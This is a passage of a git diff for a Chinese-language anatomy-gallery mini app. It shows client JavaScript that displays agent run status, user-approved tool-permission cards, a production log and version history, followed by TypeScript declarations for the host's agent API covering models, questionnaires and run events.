'Agent 正在工作' : '交给 Agent')), + ); + nodes.push(form); + } + panel.replaceChildren(...nodes); + renderLive(); +} + +/** Model and thinking-effort pickers for the next run; defaults to the model of the previous run. @param {boolean} disabled */ +function modelRow(disabled) { + const modelSelect = /** @type {HTMLSelectElement} */ (h('select', { 'aria-label': '模型', disabled: true })); + const effortSelect = /** @type {HTMLSelectElement} */ (h('select', { 'aria-label': '思考强度', disabled: true })); + view.modelControls = { modelSelect, effortSelect, catalog: null }; + const lastModel = view.data.figure.runs.find((/** @type {any} */ run) => run.model)?.model; + void loadCatalog().then((catalog) => { + if (!modelSelect.isConnected || !catalog) return; + view.modelControls.catalog = catalog; + fillModelControls(modelSelect, effortSelect, catalog, view.modelChoice ?? lastModel ?? catalog.host ?? catalog.default); + modelSelect.addEventListener('change', remember); + effortSelect.addEventListener('change', remember); + if (disabled) modelSelect.disabled = effortSelect.disabled = true; + }); + function remember() { + view.modelChoice = readSelection(modelSelect, effortSelect, view.modelControls.catalog); + } + return h('div', { class: 'field-row compact' }, + h('label', { class: 'field' }, h('span', {}, '模型'), modelSelect), + h('label', { class: 'field' }, h('span', {}, '思考强度'), effortSelect)); +} + +/** Status pill in the bar and the status block in the drawer; live parts update in place. */ +function renderLive() { + const live = view.live; + const figure = view.data.figure; + const lastRun = figure.runs[0]; + const pill = view.statusPill; + if (live) { + const waiting = live.permissions.length > 0; + pill.hidden = false; + pill.className = `pill ${waiting ? 'warn' : 'running'}`; + pill.replaceChildren(waiting ? '等你确认' : h('span', { class: 'spinner', 'aria-hidden': 'true' }), waiting ? '' : `制作中 · ${elapsed(live.startedAt)}`); + } else if (lastRun && ['question', 'failed', 'error', 'unknown', 'interrupted'].includes(lastRun.status)) { + const [text, cls] = RUN_STATUS[/** @type {keyof typeof RUN_STATUS} */ (lastRun.status)]; + pill.hidden = false; + pill.className = `pill ${cls}`; + pill.replaceChildren(text); + } else { + pill.hidden = true; + } + + const block = view.runBlock; + if (!block) return; + if (live) { + if (view.runDom?.runId !== live.runId) { + const elapsedEl = h('span', {}); + const toolEl = h('p', { class: 'muted small' }); + const modelEl = h('p', { class: 'muted small' }); + const tailEl = h('div', { class: 'tail' }); + const asksEl = h('div', { class: 'block', role: 'region', 'aria-label': '待确认的工具请求' }); + block.replaceChildren( + h('h3', {}, 'Agent 状态'), + h('div', { class: 'run-line' }, h('span', { class: 'spinner', 'aria-hidden': 'true' }), h('span', {}, '正在工作 · 已用 ', elapsedEl)), + modelEl, toolEl, tailEl, asksEl, + h('div', { class: 'row' }, + h('button', { type: 'button', class: 'btn ghost sm', onclick: () => setDrawer(true, 'process') }, '看制作过程'), + h('button', { type: 'button', class: 'btn secondary sm', onclick: () => void cancelRun() }, '取消运行')), + ); + view.runDom = { runId: live.runId, elapsedEl, modelEl, toolEl, tailEl, asksEl, keys: '' }; + } + const dom = view.runDom; + dom.elapsedEl.textContent = elapsed(live.startedAt); + dom.modelEl.textContent = live.model ? `模型:${modelLabel(live.model)}` : ''; + dom.modelEl.hidden = !live.model; + dom.toolEl.textContent = live.lastTool ? `最近一步:${live.lastTool}` : '等待 Agent 开始…'; + dom.tailEl.textContent = plainText(live.textTail); + dom.tailEl.hidden = !live.textTail; + const keys = live.permissions.map((/** @type {any} */ p) => p.requestId).join('|'); + if (keys !== dom.keys) { + dom.keys = keys; + dom.asksEl.replaceChildren(...live.permissions.map(askCard)); + dom.asksEl.hidden = live.permissions.length === 0; + if (live.permissions.length) { + if (!view.drawerOpen || view.tab !== 'edit') setDrawer(true, 'edit'); + toast(`Agent 想使用 ${live.permissions.at(-1).toolName},等你确认`); + } + } + return; + } + view.runDom = null; + if (!lastRun) { + block.replaceChildren(h('h3', {}, 'Agent 状态'), h('p', { class: 'muted small' }, '还没有运行过。')); + return; + } + fill(block, + h('h3', {}, '上一次运行'), + h('div', { class: 'run-line' }, badge(lastRun.status), h('span', { class: 'muted small' }, `${lastRun.kind === 'create' ? '新建' : '修改'} · ${when(lastRun.endedAt ?? lastRun.startedAt)}`)), + lastRun.model ? h('p', { class: 'muted small' }, `模型:${modelLabel(lastRun.model)}`) : null, + lastRun.status === 'question' + ? h('div', { class: 'ask' }, + h('p', { class: 'small' }, `Agent 有问题要问你${lastRun.question?.title ? `:${lastRun.question.title}` : ''}`), + lastRun.question?.steps?.length ? h('ul', { class: 'small muted' }, lastRun.question.steps.map((/** @type {string} */ s) => h('li', {}, s))) : null, + h('div', { class: 'row' }, h('button', { type: 'button', class: 'btn primary sm', onclick: () => void openConversation() }, '到对话里回答'))) + : null, + lastRun.error ? h('p', { class: 'small', role: 'alert' }, lastRun.error) : null, + lastRun.summary ? h('div', { class: 'summary' }, markdown(lastRun.summary)) : null, + ); +} + +/** + * One waiting permission request. The gallery only relays the user's own click; batch choices such as + * "allow for this conversation" live on MCode's own card in the chat side panel. + * @param {any} permission + */ +function askCard(permission) { + const figureId = view.id; + /** @param {'allowOnce' | 'deny'} decision */ + const decide = async (decision) => { + try { + await api(`/api/figures/${figureId}/permissions/${encodeURIComponent(permission.requestId)}`, { method: 'POST', body: { decision } }); + } catch (error) { + toast(message(error)); + } + }; + return h('div', { class: 'ask', role: 'group', 'aria-label': `确认:${permission.toolName}` }, + h('strong', { class: 'small' }, `${permission.child ? '子 Agent ' : ''}想使用 ${permission.toolName}`), + permission.reason ? h('p', { class: 'small muted' }, permission.reason) : null, + permission.toolInput ? h('pre', { class: 'mono' }, permission.toolInput) : null, + h('div', { class: 'row' }, + h('button', { type: 'button', class: 'btn ghost sm', title: '在聊天侧栏打开这个对话,用 MCode 的权限卡片批准,可选“全部仅本对话”等', onclick: () => void openConversation() }, '去对话里批准'), + h('button', { type: 'button', class: 'btn secondary sm', onclick: () => void decide('deny') }, '拒绝'), + h('button', { type: 'button', class: 'btn primary sm', onclick: () => void decide('allowOnce') }, '允许'), + ), + ); +} + +/* ---------- drawer: production log ---------- */ + +const RUN_STATUS_TEXT = (/** @type {string} */ status) => (RUN_STATUS[/** @type {keyof typeof RUN_STATUS} */ (status)] ?? [status])[0]; + +/** @param {number} ms */ +const offset = (ms) => { + const total = Math.max(0, Math.round(ms / 1000)); + const m = Math.floor(total / 60); + return m >= 60 ? `+${Math.floor(m / 60)}:${String(m % 60).padStart(2, '0')}:${String(total % 60).padStart(2, '0')}` : `+${m}:${String(total % 60).padStart(2, '0')}`; +}; + +/** Load (or reuse) the log of the selected run, then draw it. @param {boolean} [force] */ +async function renderProcessTab(force = false) { + if (view.kind !== 'figure') return; + const figure = view.data.figure; + const panel = view.panels.process; + const runs = figure.runs; + if (runs.length === 0) { + fill(panel, h('p', { class: 'muted small' }, '还没有运行过。在画廊里新建或修改后,Agent 的每一步都会记在这里。')); + return; + } + if (!view.processPinned || !runs.some((/** @type {any} */ r) => r.id === view.processRunId)) { + view.processRunId = view.live?.runId ?? runs[0].id; + } + const runId = view.processRunId; + if (force || view.processLog?.runId !== runId) { + if (view.processLoading === runId) return; + view.processLoading = runId; + try { + const data = await api(`/api/figures/${figure.id}/runs/${runId}/log`); + view.processLog = { runId, entries: data.entries, recorded: data.recorded }; + } catch (error) { + view.processLog = { runId, entries: [], recorded: true, error: message(error) }; + } finally { + view.processLoading = null; + } + if (view.kind !== 'figure' || view.processRunId !== runId) return; + } + drawProcess(); +} + +function drawProcess() { + const figure = view.data.figure; + const panel = view.panels.process; + const run = figure.runs.find((/** @type {any} */ r) => r.id === view.processRunId); + const logData = view.processLog; + if (!run || !logData) return; + const keepScroll = panel.scrollTop; + const atBottom = panel.scrollHeight - panel.scrollTop - panel.clientHeight < 40; + + const select = /** @type {HTMLSelectElement} */ (h('select', { + 'aria-label': '选择一次运行', + onchange: () => { + view.processPinned = true; + view.processRunId = select.value; + void renderProcessTab(true); + }, + }, figure.runs.map((/** @type {any} */ r, /** @type {number} */ i) => + h('option', { value: r.id }, `第 ${figure.runs.length - i} 次 · ${r.kind === 'create' ? '新建' : '修改'} · ${when(r.startedAt)} · ${RUN_STATUS_TEXT(r.status)}`)))); + select.value = run.id; + + const entries = logData.entries; + const start = entries.find((e) => e.type === 'start'); + const end = entries.findLast((e) => e.type === 'end'); + const model = entries.findLast((e) => e.type === 'turn')?.model ?? run.model ?? start?.model; + const t0 = start?.t ?? run.startedAt; + const steps = entries.filter((e) => e.type === 'tool'); + const failedSteps = steps.filter((e) => !e.ok).length; + const isLive = view.live?.runId === run.id; + const duration = (end?.t ?? (isLive ? Date.now() : run.endedAt ?? Date.now())) - t0; + + const head = h('div', { class: 'process-head' }, + h('div', { class: 'run-line' }, isLive ? h('span', { class: 'spinner', 'aria-hidden': 'true' }) : badge(run.status), + h('span', { class: 'small muted' }, `${run.kind === 'create' ? '新建' : '修改'} · 用时 ${elapsed(Date.now() - duration)}`)), + h('dl', { class: 'kv' }, + h('dt', {}, '模型'), h('dd', {}, model ? modelLabel(model) : '—'), + h('dt', {}, '步骤'), h('dd', {}, steps.length ? `${steps.length} 步${failedSteps ? `,其中 ${failedSteps} 步失败` : ''}` : '—'), + ), + ); + + /** @type {(HTMLElement | null)[]} */ + const items = []; + if (!logData.recorded) { + items.push(h('p', { class: 'muted small' }, '这次运行发生在“制作过程”记录上线之前,画廊没有保存它的步骤。')); + } + if (logData.error) items.push(h('p', { class: 'small', role: 'alert' }, `读取失败:${logData.error}`)); + /** @type {any[]} */ + let toolRun = []; + const flushTools = () => { + if (!toolRun.length) return; + const counts = new Map(); + for (const e of toolRun) counts.set(e.name, (counts.get(e.name) ?? 0) + 1); + const failed = toolRun.filter((e) => !e.ok).length; + items.push(h('li', { class: 'tl-item tl-tools' }, + h('div', { class: 'tl-meta' }, h('span', {}, `执行了 ${toolRun.length} 步${failed ? `(${failed} 步失败)` : ''}`), h('span', {}, offset(toolRun[0].t - t0))), + h('details', {}, + h('summary', { class: 'small muted' }, [...counts].map(([name, n]) => `${name} ×${n}`).join(' · ')), + h('ol', { class: 'tl-steps' }, toolRun.map((e) => h('li', { class: e.ok ? '' : 'bad' }, `${offset(e.t - t0)} ${e.name}${e.ok ? '' : ' · 失败'}`))), + ))); + toolRun = []; + }; + for (const e of entries) { + if (e.type === 'tool') { + toolRun.push(e); + continue; + } + flushTools(); + const at = offset(e.t - t0); + if (e.type === 'start') { + items.push(h('li', { class: 'tl-item tl-request' }, + h('div', { class: 'tl-meta' }, h('span', {}, e.kind === 'create' ? '画廊的需求' : '你的修改要求'), h('span', {}, at)), + h('p', { class: 'prompt-text' }, e.request || '—'), + h('details', {}, h('summary', { class: 'small muted' }, '发给 Agent 的完整指令'), h('pre', { class: 'mono tl-prompt' }, e.prompt)))); + } else if (e.type === 'message') { + items.push(h('li', { class: 'tl-item tl-message' }, h('div', { class: 'tl-meta' }, h('span', {}, 'Agent'), h('span', {}, at)), markdown(e.text))); + } else if (e.type === 'permission') { + items.push(h('li', { class: 'tl-item tl-ask' }, + h('div', { class: 'tl-meta' }, h('span', {}, `请求使用 ${e.toolName}`), h('span', {}, at)), + e.reason ? h('p', { class: 'small muted' }, e.reason) : null, + // Only logs written before 1.1.0 carry `auto`; the gallery no longer answers requests itself. + e.auto ? h('p', { class: 'small muted' }, '已按“本次运行都允许”自动放行') : null)); + } else if (e.type === 'decision') { + items.push(h('li', { class: 'tl-item tl-note' }, h('div', { class: 'tl-meta' }, h('span', {}, e.decision === 'elsewhere' ? `${e.toolName} 已在对话里处理` : `你${e.decision === 'deny' ? '拒绝' : '允许'}了 ${e.toolName}`), h('span', {}, at)))); + } else if (e.type === 'question') { + items.push(h('li', { class: 'tl-item tl-ask' }, + h('div', { class: 'tl-meta' }, h('span', {}, `Agent 提问${e.title ? `:${e.title}` : ''}`), h('span', {}, at)), + e.steps?.length ? h('ul', { class: 'small' }, e.steps.map((/** @type {string} */ q) => h('li', {}, q))) : null)); + } else if (e.type === 'end') { + items.push(h('li', { class: 'tl-item tl-note' }, + h('div', { class: 'tl-meta' }, h('span', {}, `运行结束 · ${RUN_STATUS_TEXT(e.status)}`), h('span', {}, at)), + e.error ? h('p', { class: 'small', role: 'alert' }, e.error) : null)); + } else if (e.type === 'truncated') { + items.push(h('li', { class: 'tl-item tl-note' }, h('p', { class: 'small muted' }, '记录太长,后面的步骤没有保存。'))); + } + } + flushTools(); + if (isLive) items.push(h('li', { class: 'tl-item tl-note' }, h('div', { class: 'run-line small muted' }, h('span', { class: 'spinner', 'aria-hidden': 'true' }), `Agent 正在工作${view.live.lastTool ? ` · ${view.live.lastTool}` : ''}`))); + + fill(panel, + h('label', { class: 'field' }, h('span', {}, '运行'), select), + head, + h('ol', { class: 'timeline', 'aria-label': '制作过程' }, items), + figure.sessionId ? h('div', { class: 'row start' }, h('button', { type: 'button', class: 'btn ghost sm', onclick: () => void openConversation() }, '在侧栏打开对话')) : null, + ); + panel.scrollTop = isLive && atBottom ? panel.scrollHeight : keepScroll; +} + +let processTimer = 0; +function scheduleProcessDraw() { + if (processTimer) return; + processTimer = window.setTimeout(() => { + processTimer = 0; + if (view.kind === 'figure' && view.drawerOpen && view.tab === 'process') drawProcess(); + }, 300); +} + +/* ---------- drawer: versions & info ---------- */ + +function renderVersionsTab() { + const figure = view.data.figure; + const current = view.stageApi.version; + if (figure.versions.length === 0) { + view.panels.versions.replaceChildren(h('p', { class: 'muted small' }, 'Agent 每登记一个新版本,都会按时间排在这里。')); + return; + } + view.panels.versions.replaceChildren(h('ol', { class: 'versions' }, [...figure.versions].reverse().map((v) => { + const base = `/api/figures/${figure.id}/versions/${v.n}`; + return h('li', {}, h('button', { + type: 'button', + class: 'version-item', + 'aria-current': String(v.n === current), + onclick: () => { + view.stageApi.show(v.n); + view.versionSelect.value = String(v.n); + renderVersionsTab(); + }, + }, + h('span', { class: 'version-thumb' }, still(v.hasPreview ? `${base}/preview` : null, v.hasLightPreview ? `${base}/preview-light` : null, `v${v.n}`)), + h('span', { class: 'version-text' }, + h('strong', {}, `v${v.n} · ${v.origin === 'import' ? '导入' : 'Agent'} · ${when(v.createdAt)}`), + v.note ? h('span', {}, v.note) : null, + v.model ? h('span', {}, modelLabel(v.model)) : null), + )); + }))); +} + +function renderInfoTab() { + const figure = view.data.figure; + const edits = figure.runs.filter((/** @type {any} */ run) => run.kind === 'edit'); + const roomSelect = /** @type {HTMLSelectElement} */ (h('select', { 'aria-label': '所在展区' })); + fillRoomSelect(roomSelect, figure.categoryId); + roomSelect.addEventListener('change', async () => { + roomSelect.disabled = true; + try { + await api(`/api/figures/${figure.id}/category`, { method: 'POST', body: { categoryId: roomSelect.value } }); + galleryState = null; + await loadState(); + toast(`已移到“${roomName(roomSelect.value)}”`); + await refreshFigure(); + } catch (error) { + toast(message(error)); + roomSelect.value = figure.categoryId; + } finally { + roomSelect.disabled = false; + } + }); + fill(view.panels.info, + h('div', { class: 'block' }, + h('label', { class: 'field' }, h('span', {}, '所在展区'), roomSelect), + h('p', { class: 'small muted' }, '展区可以在画廊首页的“管理展区”里新建、改名和排序。'), + ), + h('div', { class: 'block' }, + h('dl', { class: 'kv' }, + h('dt', {}, '来源'), h('dd', {}, { gallery: '在画廊新建', chat: '在对话中登记', import: '导入' }[/** @type {'gallery'} */ (figure.source)] ?? '—'), + h('dt', {}, '创建'), h('dd', {}, when(figure.createdAt)), + h('dt', {}, '对话'), h('dd', {}, figure.sessionId ? '已关联,新建和每次修改都在这个对话里' : '尚未关联,第一次修改时新开'), + figure.runs.find((/** @type {any} */ run) => run.model) ? [h('dt', {}, '模型'), h('dd', {}, modelLabel(figure.runs.find((/** @type {any} */ run) => run.model).model))] : null, + figure.sourceDir ? [h('dt', {}, '源文件夹'), h('dd', { class: 'mono' }, figure.sourceDir)] : null, + ), + ), + figure.prompt ? h('div', { class: 'block' }, h('h3', {}, '最初的需求'), h('p', { class: 'prompt-text' }, figure.prompt)) : null, + edits.length ? h('div', { class: 'block' }, h('h3', {}, '修改记录'), + h('ul', { class: 'small muted' }, edits.map((/** @type {any} */ run) => h('li', {}, `${when(run.startedAt)}:${run.instruction}`)))) : null, + ); +} + +/* ---------- figure actions ---------- */ + +/** @param {'create' | 'edit'} kind @param {string} instruction */ +async function startRun(kind, instruction) { + try { + const controls = view.modelControls; + const model = controls?.catalog ? readSelection(controls.modelSelect, controls.effortSelect, controls.catalog) : null; + await api(`/api/figures/${view.id}/runs`, { method: 'POST', body: { kind, instruction, model } }); + toast(kind === 'edit' ? '已交给 Agent,改好后会登记为新版本' : '已重新开始制作'); + await refreshFigure(); + return true; + } catch (error) { + toast(message(error)); + return false; + } +} + +async function cancelRun() { + try { + await api(`/api/figures/${view.id}/cancel`, { method: 'POST' }); + toast('已请求取消'); + } catch (error) { + toast(message(error)); + } +} + +async function openConversation() { + const sessionId = view.data?.figure?.sessionId; + const agent = window.mcode?.miniapp?.agent; + if (!sessionId) return; + if (!agent?.open) { + toast('当前环境不支持在侧栏打开对话'); + return; + } + try { + await agent.open(sessionId); + } catch (error) { + const code = message(error); + toast(code === 'not_permitted' ? '画廊不是在对话里打开的,没法在侧栏显示对话' : code === 'session_not_found' ? '这个对话已经不存在了' : '打开对话失败,请稍后再试'); + } +} + +function confirmDelete() { + const dialog = /** @type {HTMLDialogElement} */ (document.getElementById('confirm-dialog')); + const ok = /** @type {HTMLButtonElement} */ (document.getElementById('confirm-ok')); + const id = view.id; + ok.onclick = async () => { + ok.disabled = true; + try { + await api(`/api/figures/${id}`, { method: 'DELETE' }); + dialog.close(); + toast('已撤下'); + go(''); + } catch (error) { + toast(message(error)); + } finally { + ok.disabled = false; + } + }; + dialog.showModal(); +} + +async function refreshFigure() { + if (view.kind !== 'figure') return; + const data = await api(`/api/figures/${view.id}`); + if (view.kind !== 'figure' || view.id !== data.figure.id) return; + view.data = data; + view.live = data.live; + updateFigure(); +} + +/* ================= live updates ================= */ + +let pollTimer = 0; +let pending = 0; +function scheduleRefresh() { + clearTimeout(pending); + pending = window.setTimeout(() => { + if (view.kind === 'figure') void refreshFigure().catch(() => {}); + else if (view.kind === 'wall') void renderWall().catch(() => {}); + else void loadState().catch(() => {}); + }, 150); +} + +function connectEvents() { + if (!('EventSource' in window)) return startPolling(); + const source = new EventSource('/api/events'); + source.onmessage = (msg) => { + let event; + try { + event = JSON.parse(msg.data); + } catch { + return; + } + if (event.type === 'run') { + if (view.kind === 'figure' && view.id === event.figureId) { + view.live = event.live; + renderLive(); + } + return; + } + if (event.type === 'log') { + if (view.kind !== 'figure' || view.id !== event.figureId) return; + if (view.processLog?.runId === event.runId) { + view.processLog.entries.push(event.entry); + scheduleProcessDraw(); + } else if (!view.processPinned && event.entry?.type === 'start') { + view.processRunId = event.runId; + view.processLog = { runId: event.runId, entries: [event.entry], recorded: true }; + scheduleProcessDraw(); + } + return; + } + if (event.type === 'removed' && view.kind === 'figure' && view.id === event.figureId) { + toast('这件作品已被撤下'); + go(''); + return; + } + if (event.type === 'categories') { + void loadState().then(() => { + if (view.kind === 'wall' && galleryState) paintWall(galleryState); + else if (view.kind === 'figure') updateFigure(); + if (/** @type {HTMLDialogElement} */ (document.getElementById('rooms-dialog')).open) paintRooms(); + }).catch(() => {}); + return; + } + if (view.kind === 'wall' || (view.kind === 'figure' && view.id === event.figureId)) scheduleRefresh(); + else galleryState = null; // the filmstrip reloads the list next time + }; + source.onerror = () => source.readyState === EventSource.CLOSED && startPolling(); +} + +function startPolling() { + if (!pollTimer) pollTimer = window.setInterval(scheduleRefresh, 4000); +} + +/* ================= dialogs ================= */ + +function fillExampleOptions() { + const select = /** @type {HTMLSelectElement} */ (document.getElementById('new-example')); + if (/** @type {HTMLDialogElement} */ (document.getElementById('new-dialog')).open) return; + const items = galleryState?.examples.items ?? []; + select.replaceChildren(h('option', { value: '' }, '不参考'), ...items.map((item) => h('option', { value: item.name }, `${exampleName(item)}(${item.title})`))); +} + +/** @param {string} [example] */ +/** The room a new work should start in: the room being viewed, else the default room. */ +function preferredRoom() { + const room = view.kind === 'figure' ? view.room : currentRoom(); + return room && room !== ALL_ROOMS ? room : 'default'; +} + +function openNewDialog(example = '') { + if (galleryState && !galleryState.agentAvailable) return toast('画廊没有获得运行 Agent 的授权,不能新建'); + /** @type {HTMLSelectElement} */ (document.getElementById('new-example')).value = example; + fillRoomSelect(/** @type {HTMLSelectElement} */ (document.getElementById('new-category')), preferredRoom()); + /** @type {HTMLElement} */ (document.getElementById('new-error')).textContent = ''; + /** @type {HTMLDialogElement} */ (document.getElementById('new-dialog')).showModal(); + /** @type {HTMLTextAreaElement} */ (document.getElementById('new-prompt')).focus(); + const modelSelect = /** @type {HTMLSelectElement} */ (document.getElementById('new-model')); + const effortSelect = /** @type {HTMLSelectElement} */ (document.getElementById('new-effort')); + modelSelect.disabled = effortSelect.disabled = true; + void loadCatalog().then((catalog) => { + newDialogCatalog = catalog; + /** @type {HTMLElement} */ (document.getElementById('new-model-row')).hidden = !catalog; + if (catalog) fillModelControls(modelSelect, effortSelect, catalog, catalog.host ?? catalog.default); + }); +} +/** @type {any} */ +let newDialogCatalog = null; + +function openImportDialog() { + fillRoomSelect(/** @type {HTMLSelectElement} */ (document.getElementById('import-category')), preferredRoom()); + /** @type {HTMLElement} */ (document.getElementById('import-error')).textContent = ''; + /** @type {HTMLDialogElement} */ (document.getElementById('import-dialog')).showModal(); +} + +function setupChrome() { + const more = /** @type {HTMLButtonElement} */ (document.getElementById('more-btn')); + more.append(icon('more', 18)); + bindMenu(more, /** @type {HTMLElement} */ (document.getElementById('more-menu'))); + const roomsAdd = /** @type {HTMLFormElement} */ (document.getElementById('rooms-add')); + roomsAdd.addEventListener('submit', async (event) => { + event.preventDefault(); + const input = /** @type {HTMLInputElement} */ (document.getElementById('rooms-add-name')); + const name = input.value.trim(); + if (!name) { + input.focus(); + return; + } + if (await roomsCall('/api/categories', { method: 'POST', body: { name } })) { + input.value = ''; + input.focus(); + } + }); + document.getElementById('import-item')?.addEventListener('click', openImportDialog); + for (const item of document.querySelectorAll('[data-theme-choice]')) { + item.addEventListener('click', () => { + const choice = item.getAttribute('data-theme-choice'); + if (choice === 'light' || choice === 'dark') localStorage.setItem(THEME_KEY, choice); + else localStorage.removeItem(THEME_KEY); + applyTheme(); + }); + } + for (const button of document.querySelectorAll('[data-close]')) { + button.addEventListener('click', () => /** @type {HTMLDialogElement} */ (button.closest('dialog')).close()); + } + document.getElementById('new-btn')?.addEventListener('click', () => openNewDialog()); + + const newForm = /** @type {HTMLFormElement} */ (document.getElementById('new-form')); + newForm.addEventListener('submit', async (event) => { + event.preventDefault(); + const submit = /** @type {HTMLButtonElement} */ (document.getElementById('new-submit')); + const error = /** @type {HTMLElement} */ (document.getElementById('new-error')); + const data = new FormData(newForm); + const prompt = String(data.get('prompt') ?? '').trim(); + if (!prompt) { + error.textContent = '请描述想讲清楚的内容'; + return; + } + submit.disabled = true; + error.textContent = ''; + try { + const { figureId } = await api('/api/figures', { + method: 'POST', + body: { + prompt, + size: data.get('size'), + example: data.get('example'), + categoryId: data.get('category'), + model: newDialogCatalog + ? readSelection( + /** @type {HTMLSelectElement} */ (document.getElementById('new-model')), + /** @type {HTMLSelectElement} */ (document.getElementById('new-effort')), + newDialogCatalog, + ) + : null, + }, + }); + newForm.reset(); + /** @type {HTMLDialogElement} */ (document.getElementById('new-dialog')).close(); + galleryState = null; + toast('已开始制作'); + go(`?figure=${figureId}`); + } catch (err) { + error.textContent = message(err); + } finally { + submit.disabled = false; + } + }); + + const importForm = /** @type {HTMLFormElement} */ (document.getElementById('import-form')); + importForm.addEventListener('submit', async (event) => { + event.preventDefault(); + const submit = /** @type {HTMLButtonElement} */ (document.getElementById('import-submit')); + const error = /** @type {HTMLElement} */ (document.getElementById('import-error')); + const page = /** @type {HTMLInputElement} */ (document.getElementById('import-path')).value.trim(); + if (!page) { + error.textContent = '请填写页面的绝对路径'; + return; + } + submit.disabled = true; + error.textContent = ''; + try { + const categoryId = /** @type {HTMLSelectElement} */ (document.getElementById('import-category')).value; + const { figureId } = await api('/api/import', { method: 'POST', body: { page, categoryId } }); + importForm.reset(); + /** @type {HTMLDialogElement} */ (document.getElementById('import-dialog')).close(); + galleryState = null; + toast('已导入'); + go(`?figure=${figureId}`); + } catch (err) { + error.textContent = message(err); + } finally { + submit.disabled = false; + } + }); +} + +applyTheme(); +setupChrome(); +connectEvents(); +void loadCatalog(); +void render(); diff --git a/plugins/zch0227/anatomy-gallery/miniapp/client/client-api.ts b/plugins/zch0227/anatomy-gallery/miniapp/client/client-api.ts new file mode 100644 index 00000000..c0904f63 --- /dev/null +++ b/plugins/zch0227/anatomy-gallery/miniapp/client/client-api.ts @@ -0,0 +1,387 @@ +/** + * Copyable Mini App Client declarations for TypeScript and JavaScript/JSDoc authoring. + * No Host implementation or runtime import: Electron preload provides window.mcode. + * Keep the .ts filename because Electron dependency packaging filters out .d.ts assets. + * Node start(context) uses miniapp-api.ts instead. See client-api.md for usage and errors. + */ +export interface MiniAppMessageAPI { + /** + * Ask the user to append plain text to this Mini App's conversation input. + * Accepts at most 100,000 UTF-16 code units and preserves spaces, tabs, and newlines. + * An empty string still requires confirmation and leaves the draft unchanged. + * Resolves after the confirmed append; rejects on cancellation or failure. + * Does not send a message or insert, edit, or delete sent chat history. + */ + append(text: string): Promise; +} + +export type MiniAppAgentQuestionMode = 'questionnaire' | 'feature-enable' | 'plan'; + +export interface MiniAppAgentQuestionOption { + readonly id: string; + readonly label: string; + readonly description?: string; +} + +export interface MiniAppAgentQuestionStep { + readonly id: string; + readonly header?: string; + readonly question: string; + readonly description?: string; + readonly selectionMode: 'single' | 'multiple'; + readonly options: readonly MiniAppAgentQuestionOption[]; + /** Free-text "other" is always accepted; see `MiniAppAgentQuestionAnswer.otherText`. */ + readonly allowOther: true; +} + +/** Same questionnaire the Host chat renders; render every step and answer each one. */ +export interface MiniAppAgentQuestionnaire { + readonly schemaVersion: 2; + readonly id: string; + readonly title?: string; + readonly steps: readonly MiniAppAgentQuestionStep[]; + readonly mode?: MiniAppAgentQuestionMode; + /** Plan review Markdown and other mode-specific data. */ + readonly modePayload?: { readonly [key: string]: unknown }; + /** Unix ms; the request is withdrawn after this. */ + readonly expiresAt?: number; +} + +export interface MiniAppAgentQuestionAnswer { + readonly stepId: string; + readonly selectedOptionIds: readonly string[]; + readonly selectedOther: boolean; + readonly otherText?: string; + readonly skipped?: boolean; +} + +/** A model as the Host's composer selects it; take the values from `models()`. */ +export interface MiniAppAgentModelSelection { + readonly providerId: string; + readonly modelId: string; + /** `''` means thinking is off; it is preserved, distinct from an absent `variant`. */ + readonly variant?: string; + readonly thinking?: { readonly effort: string }; +} + +/** One model this user can use. */ +export interface MiniAppAgentModelOption { + readonly providerId: string; + readonly modelId: string; + readonly displayName: string; + readonly variants?: readonly string[]; + readonly thinking?: { readonly efforts: readonly string[]; readonly default?: string }; +} + +export interface MiniAppAgentModels { + readonly models: readonly MiniAppAgentModelOption[]; + /** What a session without a host chat model starts with. */ + readonly default: MiniAppAgentModelSelection; + /** The host chat's current model (the default when the chat has none); only when opened from a chat. */ + readonly host?: MiniAppAgentModelSelection; +} + +export interface MiniAppAgentAgentOption { + /** Canonical name; what `agent` takes. */ + readonly name: string; + readonly displayName: string; + /** The default agent. */ + readonly primary: boolean; +} + +export interface MiniAppAgentAgents { + readonly agents: readonly MiniAppAgentAgentOption[]; +} + +/** Final outcome of one Agent turn. */ +export interface MiniAppAgentRunResult { + /** Pass back in `run({ sessionId })` to continue the same conversation. */ + readonly sessionId: string; + /** Absent when no turn ran: an `answer` accepted without starting a continuation. */ + readonly turnId?: string; + /** The model the turn was dispatched with; absent when no turn ran. */ + readonly model?: MiniAppAgentModelSelection; + /** `aborted` only when the Host confirmed the abort; an unconfirmed cancel rejects with `result_unknown`. */ + readonly status: 'finished' | 'error' | 'aborted'; + /** Final assistant reply; absent when the turn produced none or did not finish. */ + readonly text?: string; + readonly error?: { readonly code: string; readonly message: string }; + /** Set when the turn ended waiting on a questionnaire; render `request` and continue with `agent.answer`. */ + readonly pendingQuestion?: { + readonly requestId: string; + readonly mode: MiniAppAgentQuestionMode; + readonly request: MiniAppAgentQuestionnaire; + }; +} + +/** + * Progress of one run. `turnId` matches the result's, except that a `permission.requested` raised + * by a delegated child session carries that child's own `sessionId` and `turnId`; `reply` with + * those, and do not filter events by the root turn. Ignore unknown `type` values: new event + * types may be added without notice. + * - `run.queued`: all run slots are taken and the call waits at 1-based `position`; sent once, + * before the turn starts, so it has no `turnId` and names a session only when continuing one. + * - `turn.started`: the Agent began the turn; `model` is the model it was dispatched with. + * - `text.delta`: a piece of the reply as it streams. + * - `message.committed`: one complete assistant message (a turn can have several). + * - `tool.started` / `tool.finished`: a tool call by name; `ok` is false when it failed. + * - `permission.requested`: a tool call waits for approval; decide it with `agent.reply`. + * - `question.requested`: the turn paused on a questionnaire; continue with `agent.answer`. + * - `turn.finished`: always last; same `status`, `text`, and `error` as the run result. + * Every event except `run.queued` names its `sessionId`, so `reply` works before the `run` that + * created the session has returned. `answer` does not: call it after the paused `run` resolves, + * or it rejects as busy. + */ +export type MiniAppAgentRunEvent = + | { readonly type: 'run.queued'; readonly sessionId?: string; readonly position: number } + | { + readonly type: 'turn.started'; + readonly sessionId: string; + readonly turnId: string; + readonly model: MiniAppAgentModelSelection; + } + | { + readonly type: 'text.delta'; + readonly sessionId: string; + readonly turnId: string; + readonly text: string; + } + | { + readonly type: 'message.committed'; + readonly sessionId: string; + readonly turnId: string; + readonly text: string; + } + | { + readonly type: 'tool.started'; + readonly sessionId: string; + readonly turnId: string; + readonly name: string; + } + | { + readonly type: 'tool.finished'; + readonly sessionId: string; + readonly turnId: string; + readonly name: string; + readonly ok: boolean; + } + | { + readonly type: 'permission.requested'; + readonly sessionId: string; + /** Absent when the runtime did not attribute the ask to a turn. */ + 